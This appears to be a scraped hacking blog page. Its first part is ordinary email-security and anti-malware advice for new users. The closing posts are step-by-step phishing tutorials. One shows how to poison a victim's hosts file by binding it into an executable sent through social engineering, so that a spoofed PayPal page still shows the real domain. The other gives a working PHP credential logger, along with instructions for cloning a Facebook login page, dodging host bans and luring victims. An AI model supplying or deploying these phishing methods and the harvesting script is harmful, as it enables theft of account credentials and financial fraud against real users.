
Example 1: "A very successful salesman at our networking company had a large email address book filled with his best customers, including some very important and conservative government contacts. With a single click, he accidentally sent a file chock-full of his favorite pornographic cartoons and jokes to everyone on his special customer list. His subject line: 'Special deals for my best customers!' Needless to say, he's cutting deals for another company these days."

Example 2: "A woman was in torment over a busted romance. She wrote a lengthy, detailed message to a girlfriend, adding that her ex-boyfriend preferred men to women. But instead of hitting Reply to a previous message from her girlfriend, she hit Reply All. Her secret was sent to dozens of people she didn't even know (including me), plus the aforementioned ex and his new boyfriend. As if that weren't bad enough, she did this two more times in quick succession!

9. Spamming as a result of forwarding email.

Forwarding emails can be a great way to quickly bring someone up to speed on a subject without having to write up a summary email, but if you aren't careful, forwarding emails can create a significant security threat for yourself and the earlier recipients of the email. As an email is forwarded, the recipients of the mail (until that point in time) are automatically listed in the body of the email. As the chain keeps moving forward, more and more recipient ids are placed on the list.

Unfortunately, if a spammer or someone just looking to make a quick buck gets a hold of the email, they can then sell the entire list of email ids and then everyone will start to get spammed. It only takes a few seconds to delete all the previous recipient ids before forwarding a piece of mail, and it can avoid the terrible situation of you being the cause of all your friends or coworkers getting spammed.

MAKING BACKUPS AND KEEPING RECORDS

10. Failing to back up emails.

Emails are not just for idle chatting, but can also be used to make legally binding contracts, major financial decisions, and conduct professional meetings. Just as you would keep a hard copy of other important business and personal documents, it is important that you regularly back up your email to preserve a record if your email client crashes and loses data (It happened to Gmail as recently as December 2006).

Thankfully, most email providers make it rather simple to back up your email by allowing you to export emails to a particular folder and then just creating a copy of the folder and storing it onto a writeable CD, DVD, removable disk, or any other type of media. If that simple exporting process sounds too complicated, you can just buy automated backup software that will take care of the whole thing for you. Whether you purchase the software or decide to back up manually, it is important that you make and follow a regular backup schedule, as this is the sort of thing that new email users tend to just put off. The frequency of backups necessary for you will of course depend on your email usage, but under no circumstances should it be done less frequently than every 3 months.

11. Mobile access: Presuming a backup exists.

Mobile email access, such as through BlackBerry, has revolutionized the way we think about email; no longer is it tied to a PC, but rather it can be checked on-the-go anywhere. Most new BlackBerry users simply assume that a copy of the emails they check and delete off the BlackBerry will still be available on their home or office computer.

It is important to keep in mind, however, that some email servers and client software download emails to the Blackberry device and then delete them from the server. Thus, for some mobile email access devices, if you delete it from the device, you have deleted it from your Inbox.

Just be aware of the default settings of your email client and make sure that if you want a copy of the email retained, you have adjusted the email client's settings to make it happen. And preferably make sure of this before you decide to delete that important email.

12. Thinking that an erased email is gone forever.

We've all sent an embarrassing or unfortunate email and sighed relief when it was finally deleted, thinking the whole episode was behind us. Think again. Just because you delete an email message from your inbox and the sender deletes it from their 'Sent' inbox, does not mean that the email is lost forever. In fact, messages that are deleted often still exist in backup folders on remote servers for years, and can be retrieved by skilled professionals.

So start to think of what you write in an email as a permanent document. Be careful about what you put into writing, because it can come back to haunt you many years after you assumed it was gone forever.

AVOIDING FRAUDULENT EMAIL

13. Believing you won the lottery … and other scam titles.

Spammers use a wide variety of clever titles to get you to open emails which they fill with all sorts of bad things. New email users often make the mistake of opening these emails. So in an effort to bring you up to speed, let me tell you quickly:

14. Not recognizing phishing attacks in email content.

While never opening a phishing email is the best way to secure your computer, even the most experienced email user will occasionally accidentally open up a phishing email. At this point, the key to limiting your damage is recognizing the phishing email for what it is.

Phishing is a type of online fraud wherein the sender of the email tries to trick you into giving out personal passwords or banking information. The sender will typically steal the logo from a well-known bank or PayPal and try to format the email to look like it comes from the bank. Usually the phishing email asks for you to click on a link in order to confirm your banking information or password, but it may just ask you to reply to the email with your personal information.

Whatever form the phishing attempt takes, the goal is to fool you into entering your information into something which appears to be safe and secure, but in fact is just a dummy site set up by the scammer. If you provide the phisher with personal information, he will use that information to try to steal your identity and your money.

Signs of phishing include:

If you suspect that an email is a phishing attempt, the best defense is to never open the email in the first place. But assuming you have already opened it, do not reply or click on the link in the email. If you want to verify the message, manually type in the URL of the company into your browser instead of clicking on the embedded link.

15. Sending personal and financial information via email.

Banks and online stores provide, almost without exception, a secured section on their website where you can input your personal and financial information. They do this precisely because email, no matter how well protected, is more easily hacked than well secured sites. Consequently, you should avoid writing to your bank via email and consider any online store that requests that you send them private information via email suspect.

This same rule of avoiding placing financial information in emails to online businesses also holds true for personal emails. If, for example, you need to give your credit card information to your college student child, it is far more secure to do so over the phone than via email.

16. Unsubscribing to newsletters you never subscribed to.

A common technique used by spammers is to send out thousands of fake newsletters from organizations with an "unsubscribe" link on the bottom of the newsletter. Email users who then enter their email into the supposed "unsubscribe" list are then sent loads of spam. So if you don't specifically remember subscribing to the newsletter, you are better off just blacklisting the email address, rather than following the link and possibly picking up aTrojan horse or unknowingly signing yourself up for yet more spam.

AVOIDING MALWARE

17. Trusting your friends email.

Most new internet users are very careful when it comes to emails from senders they don't recognize. But when a friend sends an email, all caution goes out the window as they just assume it is safe because they know that the sender wouldn't intend to hurt them. The truth is, an email from a friend's ID is just as likely to contain a virus or malware as a stranger's. The reason is that most malware is circulated by people who have no idea they are sending it, because hackers are using their computer as a zombie.

It is important to maintain and keep updated email scanning and Anti-virus software, and to use it to scan ALL incoming emails.

18. Deleting spam instead of blacklisting it.

An email blacklist is a user created list of email accounts that are labeled as spammers. When you 'blacklist' an email sender, you tell your email client to stop trusting emails from this particular sender and to start assuming that they are spam.

Unfortunately, new internet users are often timid to use the blacklist feature on their email client, and instead just delete spam emails. While not every piece of spam is from repeat senders, a surprising amount of it is. So by training yourself to hit the blacklist button instead of the delete button when confronted with spam, you can, in the course of a few months, drastically limit the amount of spam that reaches your Inbox.

19. Disabling the email spam filter.

New email users typically do not start out with a lot of spam in their email account and thus do not value the help that an email spam filter can provide at the beginning of their email usage. Because no spam filter is perfect, initially the hassle of having to look through one's spam box looking for wrongly blocked emails leads many new email users to instead just disable their email spam filter altogether.

However, as an email account gets older it tends to pick up more spam, and without the spam filter an email account can quickly become unwieldy. So instead of disabling their filter early on, new internet users should take the time to whitelist emails from friends that get caught up in the spam filter. Then, when the levels of spam start to pick up, the email account will remain useful and fewer and fewer friends will get caught up in the filter.

20. Failing to scan all email attachments.

Nine out of every ten viruses that infect a computer reach it through an email attachment. Yet despite this ratio, many people still do not scan all incoming email attachments. Maybe it is our experience with snail mail, but often when we see an email with an attachment from someone we know, we just assume that the mail and its attachment are safe. Of course that assumption is wrong, as most email viruses are sent by 'Zombies' which have infected a computer and caused it to send out viruses without the owner even knowing.

What makes this oversight even more scandalous is the fact that a number of free email clients provide an email attachment scanner built-in. For example, if you use Gmail or Yahoo! for your email, every email and attachment you send or receive is automatically scanned. So if you do not want to invest in a third-party scanner and your email provider does not provide attachment scanning built-in, you should access your attachments through an email provider that offers free virus scanning by first forwarding your attachments to that account before opening them.

KEEPING HACKERS AT BAY

21. Sharing your account information with others.

We've all done it – we need an urgent mail checked, and we call up our spouse or friend and request them to check our email on our behalf. Of course, we trust these people, but once the password is known to anybody other than you, your account is no longer as secure as it was.

The real problem is that your friend might not use the same security measures that you do. Your friend might be accessing his email through an unsecured wireless account, he may not keep his anti-virus software up to date, or he might be infected with a keylogger virus that automatically steals your password once he enters it. So ensure that you are the only person that knows your personal access information, and if you write it down, make sure to do so in a way that outsiders won't be able to understand easily what they are looking at if they happen to find your records.

22. Using simple and easy-to-guess passwords.

Hackers use computer programs that scroll through common names to compile possible user names, and then send spam emails to those usernames. When you open that spam email, a little hidden piece of code in the email sends a message back to the hacker letting him know that the account is valid, at which point they turn to the task of trying to guess your password.

Hackers often create programs which cycle through common English words and number combinations in order to try to guess a password. As a consequence, passwords that consist of a single word, a name, or a date are frequently "guessed" by hackers. So when creating a password use uncommon number and letter combinations which do not form a word found in a dictionary. A strong password should have a minimum of eight characters, be as meaningless as possible, as well as use both upper and lowercase letters. Creating a tough password means that the hacker's computer program will have to scroll through tens of thousands of options before guessing your password, and in that time most hackers simply give up.

23. Failing to encrypt your important emails.

No matter how many steps you take to minimize the chance that your email is being monitored by hackers, you should always assume that someone else is watching whatever comes in and out of your computer. Given this assumption, it is important to encrypt your emails to make sure that if someone is monitoring your account, at least they can't understand what you're saying.

While there are some top-of-the-line email encryption services for those with a big budget, if you are new to email and just want a simple and cheap but effective solution, you can follow these step-by-step 20 minute instructions to install PGP, the most common email encryption standard. Encrypting all your email may be unrealistic, but some mail is too sensitive to send in the clear, and for those emails, PGP is an important email security step.

24. Not encrypting your wireless connection.

While encrypting your important emails makes it hard for hackers who have access to your email to understand what they say, it is even better to keep hackers from getting access to your emails in the first place.

One of the most vulnerable points in an emails trip from you to the email recipient is the point between your laptop and the wireless router that you use to connect to the internet. Consequently, it is important that you encrypt yourwifi network with the WPA2 encryption standard. The upgrade process is relatively simple and straightforward, even for the newest internet user, and the fifteen minutes it takes are well worth the step up in email security.

25. Failing to use digital signatures.

The law now recognizes email as an important form of communication for major undertakings such as signing a contract or entering into a financial agreement. While the ability to enter into these contracts online has made all of our lives easier, it has also created the added concern of someone forging your emails and entering into agreements on your behalf without your consent.

One way to combat email forgery is to use a digital signature whenever you sign an important email. A digital signature will help prove who and from what computer an email comes from, and that the email has not been altered in transit. By establishing the habit of using an email signature whenever you sign important emails, you will not only make it harder for the other party to those agreements to try to modify the email when they want to get out of it, but it will also give you extra credibility when someone tries to claim that you have agreed to a contract via email that you never did.

For a quick primer on digital signatures, you can read YoudZone andWikipedia's articles on the subject.

This article is intended to provide you with the basic information you need to avoid many of the email security pitfalls that frequently trip up new email users. While no single article can cover even the basics of email security, avoiding the 25 common mistakes listed in this article will make a dramatic difference in improving the safety and security of your computer, your personal information, and your emails.

How to Defend Against Hackers-now!

2011-09-24T05:36:00.000-07:00

Cyberspace appears to represent a playing field for so-called hackers whose sole intent is to infect or negatively affect your computer system and cause a myriad of problems. It is rare to find an Internet user who has not at one time or another fallen prey to their malicious attacks or damaging software-in the form of Trojans, worms and viruses. But there are techniques and mechanisms designed to prevent these hackers from carrying out their evil schemes against you. In fact, you have the power to foil their harmful, illegal plots and avoid becoming their next, unsuspecting victim.

Know your OS

Every operating system (from Windows to Linux to Apple) has built-in security features that most users do not always take advantage of. From making personal folders private when in a workgroup to enabling strong passwords or disabling unnecessary services, users often simply lack the understanding or know-how for implementing such procedures.

Familiarizing yourself with your own computer and its operating system is fundamental but crucial on the road to protection against potential attackers. This does not imply having to become some brainy security guru; it does not require forcing yourself to delve into the technical intricacies of the registry hives. Using common sense is more like it. Start with the basics. Go through the virtual system "tours" or formal guides included by the OS. Search for keywords such as protection and security under the Help section. There are a myriad of OS support sites online that can also enhance your understanding of how your computer and operating system work. It would not hurt either taking a computer class at a local community college. Your aim should be to grasp as much about its inner workings as possible.

Secure your system

Once you have a foundation and understanding of the OS, it is time to fully utilize all existing technologies that will keep your system secure. Start by performing a good backup of all important data. Then, enable your firewall immediately if you haven't done so and configure it to optimal (medium to high) security levels. Install anti-virus software and don't forget to apply the latest definition files daily. Download (often, it is free!) anti-spyware that provides real-time monitoring capabilities. Most OSes have some type of automatic system update feature that you will also want to configure. Critical system updates can help to block security "holes" in the OS originally unforeseen by system developers and programmers. Using these technologies provides wide-ranging system protection and does not have to consist of a long, drawn-out process.

Employ Online defensive techniques & develop safe surfing habits

Risks and threats abound as you surf online, access websites or merely read your email. For increased protection, you will want to go on the defensive rather than waiting by idly before being victimized. When you defend your ground, when you become less vulnerable, chances are hackers will experience greater difficulties preying on you and may choose to pass you over altogether.

To this extent, there are several useful defensive techniques. An important one is trust. Many trusting people open email from unknown sources only to discover the true malicious motives of those sending them. Others innocently follow the destructive orders dictated by hoaxes because they seem to trust the authority of the source. You, on the other hand, now know better. Be cautious when dealing with email from unknown sources-especially, when opening attachments or clicking on links from within an email. Carefully read license agreements and privacy statements and never "agree" to pop-up windows unless you absolutely understand the implications thereof. Don't let paranoia suffocate you. Simply, limit your trust.

Another way to minimize exposure to attacks is by developing good online surfing habits. If you use an administrator account to surf the web, change to a typical or limited user account. Limited user accounts cannot install applications so it makes virus execution less likely. If you enjoy those free-for-download, wonderfully captivating screen savers and backgrounds, consider using the ones already included with the OS. Malicious software is sometimes embedded with such freebies. If you shop online, ensure that you type the exact name of the website correctly. Hackers masquerade using variations of legitimate sites. And, when doing business using credit cards and other personal facts, the information on the Address Bar should start with https (the "s" makes the transaction more secure). You may be less prone to attacks when you stick with a more practical online routine.

Keep abreast of current happenings

Knowing what the newest method of cyber attacks not only makes for a good conversation piece but it can help you to better prepare for potential trouble. Some news reports about viruses and malware quite often provide preventative measures. At minimum, you may, for example, learn what actions to take or not take to avoid getting your browser hijacked.

You can stay informed about current hacking happenings through a myriad of channels and resources. Some websites are explicitly dedicated to giving details on the latest malicious software-from worms to rootkits to spyware and spam. There are many blogs and discussion forums that cover the subject exceptionally well. The search engines even have tech-related sections where up-to-the-minute information about hackers and their on-going wicked "games" and ploys can be easily found. Educating yourself and learning about computer-related security issues and problems will doubly benefit you in combating hackers.

Learn what to do...just in case

Obviously, awareness doesn't necessarily guarantee safety. Nor does being proactive exempt you from becoming a target. Sometimes, the most secure computer networks tend to experience a high number of attacks and are likely to get hacked. But, if your system gets infested with malware or viruses, here are some things you can do.

First, pinpoint exactly what the problem is. There can be several signs to look for during your initial investigation. If your computer suddenly seems unusually slow, you may have a worm; if applications are not starting up properly or your system restarts abruptly for no reason, you may have a virus. Strange hard disk activity that you hear may indicate a Trojan, port scanner or dialer program executing in the background. Perhaps you are simply getting pop-ups revealing the symptoms of a damaged or corrupted file. Do realize, too, that not all attacks are easily detectable and that's why multiple monitoring tools (such as AV and anti-spyware) should be used regularly to determine whether or not your system is, in fact, infected.

Once the problem is discovered or identified, your next step consists of the purging process. There are many tools and utilities designed for the removal of malicious software. Some can be downloaded for free and are relatively easy to use. Others may be run directly from a website. (Do a search for HijackThis, Adaware and Housecall, just to mention several). Many problems can be resolved by using these quick-fix tools.

You can also attempt to repair your computer by exploring or implementing various integrated system mechanisms. For instance, on Windows XP, you can disable some questionable startup programs by typing msconfig on the Run command. In the Startup tab, simply, uncheck the culprit component. To repair a damaged computer, you may use System Restore-although its effects against worms and viruses are limited. Using Windows Task Manager to end memory and CPU-intensive processes is limited, too, but can occasionally help. So is running Disk Cleanup, since you may rid yourself of possibly damaging ActiveX controls.

If the problem(s) persists, it is recommended that you further research your particular issue online. As mentioned earlier, there are hundreds of security-related websites where you can post computer questions and problems. Someone there who has experienced similar problems may provide a solution. Additionally, most anti-virus vendors offer tricks and tips on cleaning an infested system within their help and support sections. Even if after taking all these steps, you still end up having to reinstall the OS (because all efforts have proven futile) your knowledge base would have increased substantially and you'd be better equipped for battling any similar cyber attacks in the future.

It's up to you....

Just like the typical street criminal, hackers prefer to prey on the vulnerable, inexperienced and predictable user who leaves himself open for attacks. They use malicious software to make a victim's system unstable or render it useless. But you don't have to be yet another mark on their scoreboard. By arming yourself with the right kind of information and by taking the best corrective measures, you can establish a strong defense against any potential hacker. Start doing so today!

Desktop Phishing

2011-09-24T05:24:00.000-07:00

THIS ARTICLE IS ABOUT A NEW FORM OF PHISHING CALLED DESKTOP PHISHING, TO KNOW ABOUT PHISHING- CLICK
TO KNOW HOW TO CREATE A PHISHING PAGE- CLICK

In PHISHING :-

1. Attacker convinces the victim to click on the link of fake login page which resembles a genuine login page.

2.Victim enters his credentials in fake login page that goes to attacker
3.Victim is then redirected to an error page or genuine website depending on attacker.

But main drawback in phishing is that victim can easily differentiate between fake and real login page by looking at the domain name. We can overcome this in desktop phishing by spoofing domain name.

In DESKTOP PHISHING :-

1. Attacker sends an executable/batch file to victim and victim is supposed to double click on it. Attacker's job is done.

2. Victim types the domain name of orignal/genuine website and is taken to our fake login page. But the domain name remains the same as typed by victim and victim doesn't come to know.

3. Rest of the things are same as in normal phishing.

DESKTOP PHISHING

1) Modify hosts file

2) Compress and Bind it with an exe such that when he clicks on it the modified hosts file gets replace in the victims "\system32\drivers\etc" directory

3) Host the phishing page on your computer using server software such as wampserver.

4) When the victim tries to reach Paypal or a similar site from their computer, they are of course taken
to the phish page running on the attackers PC which will still say "Paypal.com" in the address bar.
When the victim enters their details, they're actually placing them directly onto the attackers computer

OK Now Lets Start..

Step 1: Modify hosts file

Go to C:\Windows\System32\drivers\etc
There you will find the hosts file which will look something like this -

Learn more about host files >>here<<

Edit that file with any text editor
Associate your public ip address with the website you want to hack something like this

replace "xxx.xxx.xxx.xxx" with your public ip.. you can find your public ip here
and replace the "google.com" or "www.google.com" with the site your hacking in
So that when the victim tries to go to that website he gets redirected to your phisher

Step 2: Compress and Bind it with an exe such that when he clicks on it the modified hosts file gets replace in the victims "C:\Windows\system32\drivers\etc" directory

Compress the hosts file with the following option-

Press "OK", "OK" and then the compressing will begin
After compression
Select some exe file
Download an exe binder and bind the compressed file with the exe

Step 3: Host the phishing page on your computer using server software such as wampserver.

Download and install wamp server
Copy your phisher and paste it in the WWW directory in wamp, the default path is "C:\Wamp\WWW"
Send the file to the victim, you might have to use some social engineering
Run Wamp server on your pc
Right click the wamp icon in the system tray and select Start all services
Wait for the victim to log in, in the phisher site, again you might have to use some social engineering

how to create fake login page? – How Phisher Works?

2011-09-22T03:37:00.000-07:00

Phishing is a way of attempting to acquire information such as usernames,passwords, and credit card details by masquerading as a trustworthy entity in anelectronic communication. Communications purporting to be from popular social web sites, auction sites, online payment processors or IT administrators are commonly used to lure the unsuspecting public. Phishing is typically carried out by e-mailspoofing or instant messaging and it often directs users to enter details at a fake website whose look and feel are almost identical to the legitimate one. Phishing is an example of social engineering techniques used to deceive users, and exploits the poor usability of current web security technologies. Attempts to deal with the growing number of reported phishing incidents include legislation, user training, public awareness, and technical security measures.

A phishing technique was described in detail in 1987, and the first recorded use of the term "phishing" was made in 1996. The term is a variant of fishing, probably influenced by phreaking, and alludes to "baits" used in hopes that the potential victim will "bite" by clicking a malicious link or opening a malicious attachment, in which case their financial information and passwords may then be stolen.

Note- this tutorial is just for demonstration Purpose and to make you conscious that how much we have to take care while entering passwords. please do not use it for personal benefits. we do not promote hacking. If you know html or php, you will find it very easy. lets See how simple it is to construct and set up a fake login page and steal the password.

. HERE IS AN EXAMPLE: www.facebook.com , DO NOT ENTER UR OWN FACEBOOK ID AND PASSWORD!!!!

HERE, CHECK OUT WHAT U HAVE TYPED: VIEW UR TYPED FAKE ID AND PASSWORD

NOTE: DO NOT USE THIS FOR HACKING...............!!, CREATE UR OWN PAGE....!

Requirements

1) A web hosting account
There are hundreds of websites available that offer free web hosting account, normally 100mb free with a Subdomain. Create a free web hosting account with Subdomain on any of them. The Problem with free hosting is that, as soon as they come to know that you have hosted phisher, they will Ban you. so the Smart choice is to Put some useful articles on the website that you will be getting at PROHOSTS.ORG and side by side you can also host phisher in the separate directory for example: yourname.domain.com/mywork.
Free Webhosting: http://prohosts.org/ (read note below)
Note : Never use any suspicious keywords like gmail, facebook, hotmail, gmail-login, etc in the subdomain or username. if you use, you will get banned for sure. Instead use your own name or any other name.

2) A fake login page
To create a fake login page, just visit the desired login page. lets say facebook login page. now Right Click on that page and click on ‘view source’ or view ‘page source’. after this a new window will open with the source code. just select all the code using ctrl+a and copy it with ctrl+c. open notepad and paste this code in it. and save it with extension .html on the desktop.
for eg:- index.html
3) A php code that writes data on to a text file
Just copy the below php code in red and paste it in a notepad. after this save it as .php file on the desktop.
for eg:- code.php

<?php
$fp = fopen("logzf.htm", "a");
fwrite($fp, "Email:$_POST[email]\tPassword:$_POST[pass]");
echo "<HTML>
<head>
<FRAMESET cols=\"*\">
<FRAME SRC=\"http://thehackersclan.blogspot.com/\">
</FRAMESET>";
?>

Creating phisher

Now we have the 2 required files index.html,code.php on the desktop.
The next task is to link(connect) the 2 files. such that we must link them in the order index.html>>code.php
ie index.html must be able to communicate with code.php
Linking index.html and code.php
Just open index.html with text editor and search for ‘action’ field ( Press ctrl+F to search). Upon finding ‘action’ field you will see something like this:

Replace everything in red with code.php, and save the file.

You just connected yahoo.html to code.php
[ * ] There may be more than one action field. follow the same procedure of Replacing with Code.php
Linking code.php and passwords.htm
In the above given code, passwords.htm is already connected with code.php.
Now just open code.php with text editor and in the 2nd line replace “original login page” with the desired original login page of your phisher.
In our eg it is http://thehackersclan.blogspot.com/ and save it.
You just told code.php to open passwords.htm file when run and after the victim enters the login details, redirect him to the original login page.
Now that everything is ready, the next step is to host the phisher that you just created on to a free web hosting server.

Hosting Phisher

#step1 login to your newly created free hosting account
#step2 click on ‘file manager’ to open file manager
#step3 now navigate to your subdomain directory. to do so just click on your subdomain in the files view area. ie htdocs.
#step4 Now just create a new directory(folder) and name it according to phisher you have created.
#step5 navigate to the desired directory that you just created in ‘step3′
#step6 Upload all the 2 files(phisher) ie yahoo.html,code.php,passwords.txt in this directory.
note- all the 2 files must be in the same directory.
#step7 copy the addresses of .html and .htm files
#step8 Send this phisher to your victim. just send the link (.html file’s address) to your victim via email or any other medium.
#step9 be patient . When the victim logs in on your fake page, the username and password gets stored in a html file ie. passwords.htm and now it can be opened any time to see the username and password.
